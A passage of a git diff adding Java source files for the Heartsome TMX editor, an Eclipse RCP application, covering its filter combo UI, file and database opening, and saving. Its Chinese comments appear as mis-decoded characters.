TmxSegement getSelectedTuv() { + return null; + } + + public String getSrcLang() { + return this.srcLangCode; + } + + public String getTgtLang() { + return this.tgtLangCode; + } + + public void jumptoRow(int rowIndex) { + + } + + public int getSrcColumnIndex() { + return 1; + } + + public int getTgtColumnIndex() { + return 2; + } + + public void commit() { + TeActiveCellEditor.commit(); + } + + class FindReplaceAction extends Action { + + public FindReplaceAction() { + setEnabled(false); + } + + @Override + public void runWithEvent(Event event) { + if (dialog == null) { + dialog = new FindReplaceDialog(viewPart.getSite().getShell()); + } + dialog.setTmxDataAccess(tmxDataAccess); + dialog.setTmxEditorImpWithNattable(tmxEditorImpWithNattable); + dialog.open(); + ICellEditor iCellEditor = TeActiveCellEditor.getCellEditor(); + if (iCellEditor != null && iCellEditor instanceof CellEditor) { + CellEditor cellEditor = (CellEditor) iCellEditor; + String selText = cellEditor.getTextViewer().getSelectionText(); + dialog.setFindText(selText); + } + } + + void updateEnabledState() { + if (tmxEditorImpWithNattable != null) { + setEnabled(true); + return; + } + setEnabled(false); + } + + } + + public TmxEditorImpWithNattable getTmxEditorImpWithNattable() { + return tmxEditorImpWithNattable; + } + + /** + * 获å–选中行的id标示 + * @return ; + */ + public String[] getSelectIdentifiers() { + int[] selectedRows = tmxEditorImpWithNattable.getSelectedRows(); + if (null == selectedRows || selectedRows.length == 0) { + return new String[0]; + } + List displayTuIdentifiers = this.tmxDataAccess.getDisplayTuIdentifiers(); + if (null == displayTuIdentifiers || displayTuIdentifiers.isEmpty()) { + return new String[0]; + } + String[] ids = new String[selectedRows.length]; + int currentSelectLineNumber = 0; + for (int i = 0; i < selectedRows.length; i++) { + currentSelectLineNumber = selectedRows[i]; + if (currentSelectLineNumber >= displayTuIdentifiers.size()) { + return new String[0]; + } + ids[i] = displayTuIdentifiers.get(currentSelectLineNumber); + } + return ids; + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorFilter.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorFilter.java new file mode 100644 index 0000000..68bf6aa --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorFilter.java @@ -0,0 +1,267 @@ +/** + * TmxEditorFilter.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.editor; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.utils.TmxCustomFilterUtil; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.TabFolder; +import org.eclipse.ui.PlatformUI; + +/** + * tmx 编辑器过滤器的处ç†ä»¥åŠè¿‡æ»¤ + * @author robert 2013-06-21 + */ +public class TmxEditorFilter { + ComboViewer comboViewer; + private int filterBtnLenght; + + private List customeFilters; + /** + * 系统过滤器,包括 所有文本段ã€æºæ–‡å’Œè¯‘文相åŒçš„文本段ã€æºæ–‡ç›¸åŒï¼Œè¯‘æ–‡ä¸åŒçš„文本段ã€è¯‘文相åŒï¼Œæºæ–‡ä¸åŒçš„文本段ã€å¸¦æœ‰æ‰¹æ³¨çš„文本段ã€å­˜åœ¨ä¹±ç çš„文本段 + */ + private List systemFilters; + + Image filterImage = null; + + public TmxEditorFilter() { + filterImage = Activator.getImageDescriptor("images/view/filter.png").createImage(); + } + + public void createFilterUI(Composite container) { + Composite filterComp1 = new Composite(container, SWT.NONE); + filterComp1.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + filterComp1.setLayout(new GridLayout(2, false)); + + comboViewer = new ComboViewer(filterComp1, SWT.READ_ONLY); + comboViewer.setContentProvider(new ArrayContentProvider()); + comboViewer.setInput(loadAllFilters()); + comboViewer.setLabelProvider(new LabelProvider() { + @Override + public String getText(Object element) { + if (element instanceof TmxEditorFilterBean) { + return ((TmxEditorFilterBean) element).getName(); + } + return null; + } + }); + Combo combo = comboViewer.getCombo(); + combo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + combo.select(0); + Button customFilterBtn = new Button(filterComp1, SWT.NONE); + // customFilterBtn.setText(Messages.getString("tmxeditor.filter.customFilterBtbLable")); + customFilterBtn.setImage(filterImage); + filterBtnLenght = customFilterBtn.computeSize(SWT.DEFAULT, SWT.DEFAULT, true).x; + customFilterBtn.setToolTipText(Messages.getString("tmxeditor.filter.customFilterBtbLable")); + customFilterBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Shell shell = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell(); + FilterDialog dialog = new FilterDialog(shell); + int openResult = dialog.open(); + if (openResult == IDialogConstants.OK_ID) { + IStructuredSelection selection = (IStructuredSelection)comboViewer.getSelection(); + TmxEditorFilterBean selectionFilter = null; + if (selection.getFirstElement() instanceof TmxEditorFilterBean) { + selectionFilter = (TmxEditorFilterBean) (selection.getFirstElement()); + } + + List filtersInput = loadAllFilters(); + comboViewer.setInput(filtersInput); + // 如果自定义过滤器更改åŽï¼Œä¹‹å‰é€‰æ‹©ç³»ç»Ÿè¿‡æ»¤å™¨ï¼Œä¿æŒä¸å˜ï¼Œå¦åˆ™é‡ç½®ä¸ºæ‰€æœ‰æ–‡æœ¬æ®µ + if (selectionFilter.isCustom()) { + for(TmxEditorFilterBean bean : filtersInput){ + if (!bean.isCustom() && bean.getId().equals(TeCoreConstant.FILTERID_allSeg)) { + comboViewer.setSelection(new StructuredSelection(bean)); + break; + } + } + }else { + comboViewer.getCombo().setText(selectionFilter.getName()); + } + } + } + }); + customFilterBtn.addDisposeListener(new DisposeListener() { + @Override + public void widgetDisposed(DisposeEvent e) { + if (filterImage != null && !filterImage.isDisposed()) { + filterImage.dispose(); + } + } + }); + + Composite filterComp2 = new Composite(container, SWT.NONE); + filterComp2.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + GridLayout filterComp2Gl = new GridLayout(2, false); + filterComp2Gl.marginTop = -5; + filterComp2.setLayout(filterComp2Gl); + + final IPreferenceStore store = net.heartsome.cat.te.core.Activator.getDefault().getPreferenceStore(); + final Button ignoreCaseCheckbtn = new Button(filterComp2, SWT.CHECK); + ignoreCaseCheckbtn.setText(Messages.getString("tmxeditor.filter.ignoreCase")); + ignoreCaseCheckbtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreCaseCheckbtn.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreCase, ignoreCaseCheckbtn.getSelection()); + } + + @Override + public void widgetDefaultSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreCase, ignoreCaseCheckbtn.getSelection()); + } + }); + + final Button ignoreTagCheckBtn = new Button(filterComp2, SWT.CHECK); + ignoreTagCheckBtn.setText(Messages.getString("tmxeditor.filter.ignoreTag")); + System.out.println("ignoreTag = " + store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + ignoreTagCheckBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + ignoreTagCheckBtn.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreTag, ignoreTagCheckBtn.getSelection()); + } + + @Override + public void widgetDefaultSelected(SelectionEvent e) { + store.setValue(TeCoreConstant.FILTER_ignoreTag, ignoreTagCheckBtn.getSelection()); + } + }); + + + // 当切æ¢ã€€tabfolder 时,给两个忽略项设置动æ€å˜åŒ–,因为 qa 与过滤器共用一套过滤å‚数。 + final TabFolder tab = (TabFolder)(container.getParent().getParent()); + tab.addSelectionListener(new SelectionListener() { + @Override + public void widgetSelected(SelectionEvent e) { + if (tab.getSelectionIndex() == 0) { + ignoreCaseCheckbtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreTagCheckBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + } + } + @Override + public void widgetDefaultSelected(SelectionEvent e) { + if (tab.getSelectionIndex() == 1) { + ignoreCaseCheckbtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreCase)); + ignoreTagCheckBtn.setSelection(store.getBoolean(TeCoreConstant.FILTER_ignoreTag)); + } + } + }); + } + + /** + * 获å–当å‰é€‰ä¸­çš„过滤器 + * @return + */ + public TmxEditorFilterBean getCurrentFilter() { + ISelection selection = comboViewer.getSelection(); + if (selection instanceof StructuredSelection) { + StructuredSelection strSelection = (StructuredSelection) selection; + if (strSelection.getFirstElement() instanceof TmxEditorFilterBean) { + return (TmxEditorFilterBean) (strSelection.getFirstElement()); + } + } + return null; + } + + /** + * 加载自定义过滤器 + * @return + */ + private List loadSystemFilters() { + if (systemFilters == null) { + systemFilters = new ArrayList(); + // 先写入系统过滤器, + String xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_allSeg, Messages + .getString("tmxeditor.tmxEditorFilter.allFilter.name"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_srcSameWIthTgtSeg, Messages + .getString("tmxeditor.tmxEditorFilter.srcTgtSame.name"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_srcSameButTgtSeg, Messages + .getString("tmxeditor.tmxEditorFilter.srcSameDiffTgt"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_tgtSameButSrcSeg, Messages + .getString("tmxeditor.tmxEditorFilter.tgtSameDiffsrc"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_duplicateSeg, Messages + .getString("tmxeditor.tmxEditorFilter.duplicateSeg"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_withNoteSeg, Messages + .getString("tmxeditor.tmxEditorFilter.hasNote.name"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_withGarbleSeg, Messages + .getString("tmxeditor.tmxEditorFilter.hasGarbled.name"), xpath)); + xpath = ""; + systemFilters.add(new TmxEditorFilterBean(TeCoreConstant.FILTERID_tgtNullSeg, Messages + .getString("tmxeditor.tmxEditorFilter.tgtNullSeg"), xpath)); + } + + return systemFilters; + } + + /** + * 加载å¯ä»¥ä½¿ç”¨çš„自定义过滤器 + * @return + */ + private List loadUseableCustomeFilters() { + TmxCustomFilterUtil util = new TmxCustomFilterUtil(); + customeFilters = util.getUseableCustomFilters(); + return customeFilters; + } + + /** + * 加载所有的过滤器,包括系统的与自定义的 + * @return + */ + public List loadAllFilters() { + List allFilterList = new ArrayList(); + allFilterList.addAll(loadSystemFilters()); + allFilterList.addAll(loadUseableCustomeFilters()); + return allFilterList; + } + + public int getFilterBtnLenght() { + return filterBtnLenght; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorViewer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorViewer.java new file mode 100644 index 0000000..f5f22c0 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/TmxEditorViewer.java @@ -0,0 +1,575 @@ +/** + * TmxEditorViewer.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.editor; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.core.tmxdata.DataAccessFactory; +import net.heartsome.cat.te.core.tmxdata.ITmxDataChangeListener; +import net.heartsome.cat.te.core.tmxdata.TmxContainer; +import net.heartsome.cat.te.core.tmxdata.TmxContainerFactory; +import net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.cat.te.tmxeditor.editor.history.OpenRecord; +import net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory; +import net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorGlobalActionHanlder; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener; + +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DropTarget; +import org.eclipse.swt.dnd.DropTargetAdapter; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.layout.FillLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.ISaveablePart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IViewSite; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchListener; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.operations.UndoRedoActionGroup; +import org.eclipse.ui.part.ViewPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * TmxEditor 编辑区域,他是一个å•ä¾‹ï¼ˆç”± RCP å¹³å°æŽ§åˆ¶ï¼‰ + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxEditorViewer extends ViewPart implements ISaveablePart { + public static final String ID = "net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer"; + + public static final Logger LOGGER = LoggerFactory.getLogger(TmxEditorViewer.class); + + private TmxEditor tmxEditor; + private Composite container; + + private List openCloseListener; + + private UndoRedoActionGroup undoRedoActionGroup; + + private IWorkbenchListener workbenchListener = new IWorkbenchListener() { + + @Override + public boolean preShutdown(IWorkbench workbench, boolean forced) { + return closeTmx(); + } + + @Override + public void postShutdown(IWorkbench workbench) { + } + }; + + /** + * 获å–当å‰ç¼–辑器所在 Viewer + * @return ; + */ + public static TmxEditorViewer getInstance() { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView(ID); + if (viewPart != null && viewPart instanceof TmxEditorViewer) { + return (TmxEditorViewer) viewPart; + } + return null; + } + + public void recoverOpen(final String mainFile, final List subFiles) { + final AbstractTmxDataAccess[] dataAccessor = new AbstractTmxDataAccess[1]; + ProgressMonitorDialog pmd = new ProgressMonitorDialog(PlatformUI.getWorkbench().getDisplay().getActiveShell()); + IRunnableWithProgress rwp = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) { + monitor.beginTask(Messages.getString("tmxeditor.tmxeditorView.openFileTaskName"), 12); + TmxLargeFileContainer container = new TmxLargeFileContainer(); + try { + container.openFile(mainFile, subFiles, new SubProgressMonitor(monitor, 10)); + } catch (Exception e) { + LOGGER.error("", e); + } + AbstractTmxDataAccess da = DataAccessFactory.createDataAccess(container); + da.loadDisplayTuIdentifierByFilter(new SubProgressMonitor(monitor, 2), null, da.getCurrSrcLang(), + da.getCurrTgtLang(), "", ""); + dataAccessor[0] = da; + if (dataAccessor[0] == null) { + return; + } + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + openTmx(dataAccessor[0]); + } + }); + monitor.done(); + } + }; + try { + pmd.run(true, false, rwp); + } catch (InvocationTargetException e) { + LOGGER.error("", e); + return; + } catch (InterruptedException e) { + LOGGER.error("", e); + return; + } + if (dataAccessor[0] == null) { + return; + } + fireOpenEvent(dataAccessor[0]); + dataAccessor[0].setDirty(true); + TmxEditorHistory.getInstance().add(TmxEditorHistoryItem.TYPE_TMX, mainFile); + String title = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().getText(); + title = title + "-" + mainFile; + boolean readOnly = !new File(mainFile).canWrite(); + if (readOnly) { + title += Messages.getString("tmxeditor.tmxeditorView.readOnly"); + } + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().setText(title); + if (readOnly) { + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg")); + } + setFocus(); + } + + public void open(final File file) { + if (tmxEditor != null && !closeTmx()) { + return; + } + TeCoreUtils.closeQAViewer(); + final AbstractTmxDataAccess[] dataAccessor = new AbstractTmxDataAccess[1]; + ProgressMonitorDialog pmd = new ProgressMonitorDialog(getSite().getShell()); + IRunnableWithProgress rwp = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) { + monitor.beginTask(Messages.getString("tmxeditor.tmxeditorView.openFileTaskName"), 12); + TmxContainer container = null; + try { + container = TmxContainerFactory.createLargeFileContainer(file, new SubProgressMonitor(monitor, 10)); + } catch (final Exception e) { + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, e.getMessage()); + } + }); + return; + } + if (container != null) { + AbstractTmxDataAccess da = DataAccessFactory.createDataAccess(container); + da.loadDisplayTuIdentifierByFilter(new SubProgressMonitor(monitor, 2), null, da.getCurrSrcLang(), + da.getCurrTgtLang(), "", ""); + dataAccessor[0] = da; + } + if (dataAccessor[0] == null) { + return; + } + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + openTmx(dataAccessor[0]); + } + }); + monitor.done(); + } + }; + try { + pmd.run(true, true, rwp); + } catch (InvocationTargetException e) { + LOGGER.error("", e); + Throwable t = e.getTargetException(); + if (t != null && t instanceof OutOfMemoryError) { + OpenMessageUtils.openMessage(IStatus.INFO, Messages.getString("tmxeditor.tmxeditorView.outofmemory")); + } + return; + } catch (InterruptedException e) { + LOGGER.error("", e); + return; + } + if (dataAccessor[0] == null) { + return; + } + fireOpenEvent(dataAccessor[0]); + new OpenRecord().saveOpenRecord(file.getAbsolutePath()); + TmxEditorHistory.getInstance().add(TmxEditorHistoryItem.TYPE_TMX, file.getAbsolutePath()); + String title = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().getText(); + title = title + "-" + file.getAbsolutePath(); + boolean readOnly = !file.canWrite(); + if (readOnly) { + title += Messages.getString("tmxeditor.tmxeditorView.readOnly"); + } + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().setText(title); + if (readOnly) { + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg")); + } + setFocus(); + + } + + public void open(final DatabaseModelBean db) { + final AbstractTmxDataAccess[] dataAccessor = new AbstractTmxDataAccess[1]; + ProgressMonitorDialog pmd = new ProgressMonitorDialog(getSite().getShell()); + IRunnableWithProgress rwp = new IRunnableWithProgress() { + @Override + public void run(IProgressMonitor monitor) { + monitor.beginTask(Messages.getString("tmxeditor.tmxeditorView.openTMDBTaskName"), 3); + monitor.worked(1); + TmxContainer container = null; + try { + container = TmxContainerFactory.createContainer(db); + } catch (final Exception e) { + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, e.getMessage()); + } + }); + return; + } + if (container == null) { + return; + } + monitor.worked(1); + AbstractTmxDataAccess da = DataAccessFactory.createDataAccess(container); + TmxPropertiesBean bean = da.loadTmxProperties(); + if (bean == null) { + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, + Messages.getString("tmxeditor.tmxEditorViewer.emptyDbMsg")); + } + }); + return; + } + monitor.worked(1); + da.loadDisplayTuIdentifierByFilter(null, null, da.getCurrSrcLang(), da.getCurrTgtLang(), "", ""); + dataAccessor[0] = da; + if (dataAccessor[0] == null) { + return; + } + Display.getDefault().syncExec(new Runnable() { + + @Override + public void run() { + openTmx(dataAccessor[0]); + } + }); + monitor.done(); + } + }; + try { + pmd.run(true, true, rwp); + } catch (InvocationTargetException e) { + LOGGER.error("", e); + return; + } catch (InterruptedException e) { + LOGGER.error("", e); + return; + } + if (dataAccessor[0] == null) { + return; + } + fireOpenEvent(dataAccessor[0]); + boolean isReadOnly = false; + String message = null; + if (db.getItlDBLocation() != null && db.getItlDBLocation().length() != 0) { + String path = db.getItlDBLocation() + File.separator + db.getDbName(); + TmxEditorHistory.getInstance().add(TmxEditorHistoryItem.TYPE_HSTM, path); + String title = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().getText(); + title = title + "-" + path; + if (dataAccessor[0].isReadOnly()) { + title += Messages.getString("tmxeditor.tmxeditorView.readOnly"); + isReadOnly = true; + message = Messages.getString("tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg"); + } + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().setText(title); + } else { + StringBuilder sb = new StringBuilder(); + String title = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().getText(); + sb.append(title).append("-"); + sb.append(db.getHost()).append(":").append(db.getPort()).append("/").append(db.getDbName()); + if (dataAccessor[0].isReadOnly()) { + sb.append(Messages.getString("tmxeditor.tmxeditorView.readOnly")); + isReadOnly = true; + message = Messages.getString("tmxeditor.tmxEditorViewer.DBReadOnlyOpenMsg"); + } + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().setText(sb.toString()); + } + if (isReadOnly && message != null) { + OpenMessageUtils.openMessage(IStatus.INFO, message); + } + setFocus(); + } + + /** + * 打开一个已ç»åˆå§‹å¥½çš„ AbstractTmxDataAccess + * @param tmxDataAccess + * ; + */ + private void openTmx(AbstractTmxDataAccess tmxDataAccess) { + if (tmxDataAccess != null && container != null && !container.isDisposed()) { + // 防止客户端将父容器 dispose + Composite comp = new Composite(container, SWT.NONE); + tmxEditor = new TmxEditor(tmxDataAccess); + tmxEditor.createContent(this, comp); + container.layout(); + setFocus(); + + // 监å¬å†…容是å¦æ”¹å˜ + tmxDataAccess.addTmxDataChangeListener(new ITmxDataChangeListener() { + + @Override + public void tmxDataChanged() { + firePropertyChange(PROP_DIRTY); + } + }); + } + } + + /** + * 关闭TmxEditor,åŒæ—¶å…³é—­AbstractDataAccess + **/ + public boolean closeTmx() { + if (tmxEditor == null) { + return true; + } + if (!tmxEditor.closeTmxEditor()) { + return false; + } + tmxEditor = null; + Control[] childs = container.getChildren(); + for (Control c : childs) { + if (c != null && !c.isDisposed()) { + c.dispose(); + } + } + fireCloseEvent(); + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + operationHistory.dispose(getSite().getWorkbenchWindow().getWorkbench().getOperationSupport().getUndoContext(), + true, true, true); + setFocus(); + String title = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().getText(); + String[] s = title.split("-"); + PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell().setText(s[0]); + return true; + } + + public void refresh() { + + } + + /** + * 此方法紧在 RCP handler 中使用,ä¸å®œåœ¨å…¶ä»–地方使用。 获å–当å‰ç¼–辑器实际对象TmxEditor
    + * å¯èƒ½æ˜¯ä¸€ä¸ª NULL 值,如果没有打开任何 TMX 或 DB å‰ã€‚ + * @return ; + */ + public TmxEditor getTmxEditor() { + return this.tmxEditor; + } + + public void addOpenCloseListener(TmxEditorOpenCloseListener listener) { + if (this.openCloseListener.contains(listener)) { + return; + } + this.openCloseListener.add(listener); + } + + public void removeOpenCloseListener(TmxEditorOpenCloseListener listener) { + this.openCloseListener.remove(listener); + } + + @Override + public void init(IViewSite site) throws PartInitException { + super.init(site); + this.openCloseListener = new ArrayList(); + undoRedoActionGroup = new UndoRedoActionGroup(getSite(), getSite().getWorkbenchWindow().getWorkbench() + .getOperationSupport().getUndoContext(), true); + PlatformUI.getWorkbench().addWorkbenchListener(workbenchListener); + } + + @Override + public void createPartControl(Composite parent) { + parent.setLayout(new FillLayout()); + this.container = parent; + CellEditorGlobalActionHanlder.getInstance().setIActionBars(getViewSite().getActionBars()); + DropTarget target = new DropTarget(parent, DND.DROP_MOVE | DND.DROP_COPY); + Transfer[] tfs = new Transfer[] { FileTransfer.getInstance() }; + target.setTransfer(tfs); + target.addDropListener(new DropTargetAdapter() { + @Override + public void drop(DropTargetEvent event) { + Object o = event.data; + if (o instanceof String[]) { + String[] s = (String[]) o; + if (s.length == 0 && s[0] == null || s[0].length() == 0) { + return; + } + File f = new File(s[0]); + if (f.exists() && f.isFile()) { + open(f); + } + } + } + }); + } + + @Override + public void setFocus() { + if (container != null && !container.isDisposed()) { + container.setFocus(); + } + undoRedoActionGroup.fillActionBars(getViewSite().getActionBars()); + } + + @Override + public void dispose() { + PlatformUI.getWorkbench().removeWorkbenchListener(workbenchListener); + } + + private void fireOpenEvent(AbstractTmxDataAccess dataAccess) { + for (TmxEditorOpenCloseListener listener : openCloseListener) { + listener.editorOpened(dataAccess); + } + } + + private void fireCloseEvent() { + for (TmxEditorOpenCloseListener listener : openCloseListener) { + listener.editorClosed(); + } + } + + @Override + public void doSave(IProgressMonitor monitor) { + final String[] msgs = new String[1]; + IRunnableWithProgress p = new IRunnableWithProgress() { + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.beginTask(Messages.getString("tmxeditor.tmxEditorViewer.savelabel"), 1); + try { + tmxEditor.save(new SubProgressMonitor(monitor, 1)); + } catch (Exception e) { + msgs[0] = e.getMessage(); + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(getSite().getShell()).run(true, true, p); + } catch (Exception e) { + LOGGER.error("", e); + } + if (msgs[0] != null) { + OpenMessageUtils.openMessage(IStatus.ERROR, msgs[0]); + } + } + + @Override + public void doSaveAs() { + tmxEditor.saveAs(); +// FileDialog dlg = new FileDialog(getSite().getShell(), SWT.SAVE); +// String[] filterExt = { "*.tmx", "*.*" }; +// dlg.setFilterExtensions(filterExt); +// final String filePath = dlg.open(); +// if (filePath == null) { +// return; +// } +// File file = new File(filePath); +// if (file.exists()) { +// String msg = Messages.getString("tmxeditor.tmxEditorViewer.saveAsMsg1"); +// msg = MessageFormat.format(msg, filePath); +// if (!OpenMessageUtils.openConfirmMessage(msg)) { +// return; +// } +// } +// IRunnableWithProgress p = new IRunnableWithProgress() { +// +// @Override +// public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { +// 